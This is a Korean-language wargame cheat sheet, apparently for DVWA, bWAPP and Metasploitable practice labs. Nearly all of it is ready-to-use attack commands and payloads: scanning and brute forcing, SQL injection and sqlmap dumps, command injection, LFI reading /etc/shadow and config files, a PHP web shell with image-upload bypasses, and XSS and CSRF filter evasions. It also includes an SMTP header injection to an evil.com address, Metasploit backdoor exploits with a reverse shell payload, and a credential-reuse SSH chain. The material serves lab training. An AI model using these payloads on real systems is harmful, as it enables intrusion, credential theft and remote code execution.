

🚩 워게임 실전 치트시트

0. 기본 네트워크 세팅

```
sudo ip addr add <IP>/24 dev eth0
```

```
sudo ip route add default via <게이트웨이>
```

```
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
```

```
sudo ip link set eth0 up
```

```
ping 8.8.8.8
```

연결이 꼬였을 때 리셋

```
sudo nmcli connection down "Wired connection 1"
```

```
sudo nmcli connection up "Wired connection 1"
```

1. 정찰 / 스캐닝

전체 포트 + 서비스/버전 + 기본 스크립트

```
nmap -sC -sV -Pn -p- <IP>
```

특정 포트 상세

```
nmap -sC -sV -A -p 80 <IP>
```

디렉토리/파일 탐색

```
dirb http://<IP>/
```

```
nikto -h http://<IP>
```

gobuster, DirBuster도 동일 목적

SMB 계열

nmap --script smb-enum-shares -p 445 <IP>

smbclient -L <IP>

smbclient //<IP>/tmp -N

enum4linux -a <IP>

crackmapexec smb <IP>

crackmapexec smb <IP> -u <유저> -p <비번리스트>

NFS

rpcinfo -p <IP>

showmount -e <IP>

SMTP 계정 열거

nc -vn <IP> 25

HELO <IP>

VRFY root

알려진 익스플로잇 검색

searchsploit smb 3.0.20-Debian

2. Brute Force - Hydra

옵션 의미

-l 단일 username

-L username 리스트

옵션 의미

-p 단일 password

-P password 리스트

sudo hydra -l admin -P password.txt <IP> http-get-form ₩

"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie₩
: PHPSESSID=<세션값>; security=low:F=Username and/or password incorrect"

- F= : 이 문자열이 응답에 있으면 "실패"로 판단 → 응답에 없으면 성공

SSH 브루트포스 (Metasploit)

use auxiliary/scanner/ssh/ssh_login

set USER_FILE /path/user.txt

set PASS_FILE /path/pass.txt

set RHOSTS <IP>

run

3. 프록시 도구 (Burp / ZAP)

- Proxy → Intercept 켜기 → 요청 가로채기
- 가로챈 요청을 Repeater(반복 테스트) / Intruder(자동 대입)로 전송
- 값 바꿔치기 위치에 \$\$ 마커 (Hydra의 ^USER^와 동일 역할)
- Medium 레벨 필터 우회: 입력창에서 막히는 페이로드를 프록시로 가로채서 필터링 전 단계에서 직접 조작해 전송

4. SQL Injection (수동)

-- 컬럼 개수 확인

5' union select 1,2#

-- DB 버전

5' union select 1, @@version#

-- 메타데이터 추적

5' union select table_schema, 2 from information_schema.tables#

5' union select 1, table_name from information_schema.tables where
table_schema='dvwa'#

5' union select 1, column_name from information_schema.columns where
table_name='users'#

5' union select user, password from dvwa.users#

-- 로그인 우회

ID: 'or 1=1#

PW: 아무거나

-- 검색/선택 우회

'or 1=1#

1 or 1=1

-- SQLite (주석 뒤 공백 필수!)

'or 1=1--

-- Blind SQLi (한 글자씩 참/거짓 판별)

1' AND substr((SELECT DISTINCT table_schema FROM information_schema.columns
WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a'#

-- XPath Injection

'or 1=1 or'

')]or1=1]['a

sqlmap (자동화)

sqlmap -u "http://<IP>/vuln.php?id=1&Submit=Submit" ₩

--cookie="PHPSESSID=<세션>; security=low" --dbs

sqlmap --cookie="PHPSESSID=<세션>; security=medium" ₩

-u http://<IP>/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id --dbs

단계별 옵션

-D <DB명> # DB 선택

--tables # 테이블 목록

-T <테이블명> # 테이블 선택

--columns # 컬럼 목록

-C <컬럼명> # 컬럼 선택

--dump # 데이터 추출

해시 크래킹

sudo hash-identifier <<< <해시값>

sudo john --format=Raw-MD5 dvwa.txt

5. Command Injection

127.0.0.1 && id

127.0.0.1 && cat /etc/passwd

127.0.0.1; id

127.0.0.1 | ping -c 3 attacker # blind (결과가 안 보일 때 시간/DNS로 확인)

PHP Code Injection

?message=hack;system("id");

6. File Inclusion / Path Traversal / LFI

Path Traversal

view.php?file=../../etc/passwd

?STORED=../../etc/passwd

curl "http://<IP>/filedown.php?STORED=../../etc/passwd"

LFI로 원격 코드실행 (외부 PHP 파일 include)

vi test.php

sudo python3 -m http.server

page=http://<내IP>:8000/test.php

LFI로 노려야 할 타겟 파일

/etc/passwd

/etc/shadow

config.php

.env

→ config.php에서 DB 계정/비번 확보 → Linux 계정 비번 재사용(Credential Reuse) 시도

→ SSH 로그인

ssh -o KexAlgorithms=+diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-rsa < 유저>@<IP>

7. File Upload 취약점

기본 웹셸

```
<?php system($_GET['cmd']); ?>
```

```
http://<IP>/hackable/uploads/cmd.php?cmd=id;uname -a;cat /etc/passwd
```

확장자 검증 우회: cmd.php.jpg로 업로드 → Burp로 가로채서 파일명을 cmd.php로 수정 후 forward

매직 바이트 우회 (GIF89a): 파일 맨 앞에 GIF89a 문자열 추가 후 그 뒤에 웹셸 코드 삽입

ImageMagick으로 정상 이미지에 PHP 코드 삽입

```
sudo apt install -y imagemagick
```

```
sudo convert -resize 1x1 cat.jpeg cat2.jpeg
```

```
identify cat2.jpeg
```

```
echo "<?php system($_GET['cmd']); ?>" >> cat2.jpeg
```

```
cp cat2.jpeg cat2.php
```

curl로 업로드 테스트

```
curl -F "Filedata=@test.jpg" http://<IP>/upload_endpoint.php
```

```
curl -F "Filedata=@shell.php;filename=shell.php.jpg" http://<IP>/upload_endpoint.php
```

널바이트 (구버전 SmartEditor 등): test.php%00.jpg 형태로 파일명 우회 시도 (최신 서버에선 대부분 안 먹힘)

8. XSS

<!-- 기본 -->

```
<script>alert("HACKING")</script>
```

<!-- 소문자만 막을 때 -->

```
<Script>alert("HACKING")</Script>
```

<!-- <script> 문자열 1회만 제거하는 필터 우회 -->

```
<scri<script>pt>alert("HACKING")</script>
```

```
<!-- 이벤트 핸들러 이용 (태그 필터 우회) -->
```

```
<img src=x onerror=alert(document.cookie)>
```

```
<!-- 쿠키 탈취 -->
```

```

```

DOM 기반 XSS: URL 파라미터가 서버를 거치지 않고 클라이언트 JS에서 그대로 DOM에 삽입될 때 발생

```
default=<script>alert("hack")</script>
```

9. CSRF (+ Stored XSS 결합)

```
/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change"'>
```

→ Stored XSS 취약점(게시판 등)에 이 페이로드를 심어두면, 방문자가 클릭 없이 열람만 해도 비밀번호 변경 요청이 자동 전송됨.

Open Redirect 테스트

```
open_redirect/?redirect=http://google.com
```

10. Injection 계열 한줄 페이로드 모음 (bWAPP)

종류	페이로드
HTML Injection	hack
iFrame Injection	?ParamUrl=http://<원하는주소>
LDAP Injection	*)(uid=*))(&(uid=*

종류

페이로드

SMTP Header Injection

victim@test.com%0ABcc:attacker@evil.com

SSI Injection

<!--#exec cmd="cat /etc/passwd"-->

Cookie 탈취(HttpOnly 미설정 확인)

개발자도구 → Application/Storage → 쿠키 속성 확인

11. Metasploit 필수 흐름

msfdb init # 최초 1회

msfconsole

search <키워드>

use <모듈경로>

show options

set RHOSTS <타겟IP>

set LHOST <내IP>

set payload <페이로드>

exploit / run

자주 나오는 대표 취약점

vsftpd 2.3.4 백도어 (21번 포트, :) 트리거)

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS <IP>

set LHOST <내IP>

run

익명 FTP 확인:

ftp <IP>

Name: anonymous / Password: 그냥 엔터

WebDAV 웹셸 업로드 (80번 포트)

```
sudo cadaver http://<IP>/dav/
```

```
put cmd.php
```

UnrealIRCd 백도어

```
search unrealircd
```

```
set RHOSTS <IP>
```

```
set LHOST <내IP>
```

```
set payload cmd/unix/reverse_ruby
```

```
exploit
```

Drupageddon (Drupal SQLi, CVE-2014-3704)

```
search drupal
```

```
use exploit/multi/http/drupal_drupageddon
```

```
set RHOST <IP>
```

```
set TARGETURI /drupal/
```

```
exploit
```

12. CTF 공격 체인 예시 (실습 레포에서 실제로 성공한 흐름)

Directory Enumeration (dirb/nikto)

↓

숨겨진 파일/업로드 기능 발견

↓

LFI(Path Traversal)로 config.php 읽기

↓

DB 계정/비밀번호 확보

↓

같은 비밀번호가 Linux 계정도 재사용됨(Credential Reuse)

↓

SSH 로그인 성공

업로드 기능 발견

↓

확장자만 검사 vs 내용까지 검사 확인

↓

매직바이트(GIF89a) or ImageMagick으로 이미지에 PHP 삽입

↓

웹shell 업로드 성공

↓

?cmd= 로 RCE 확인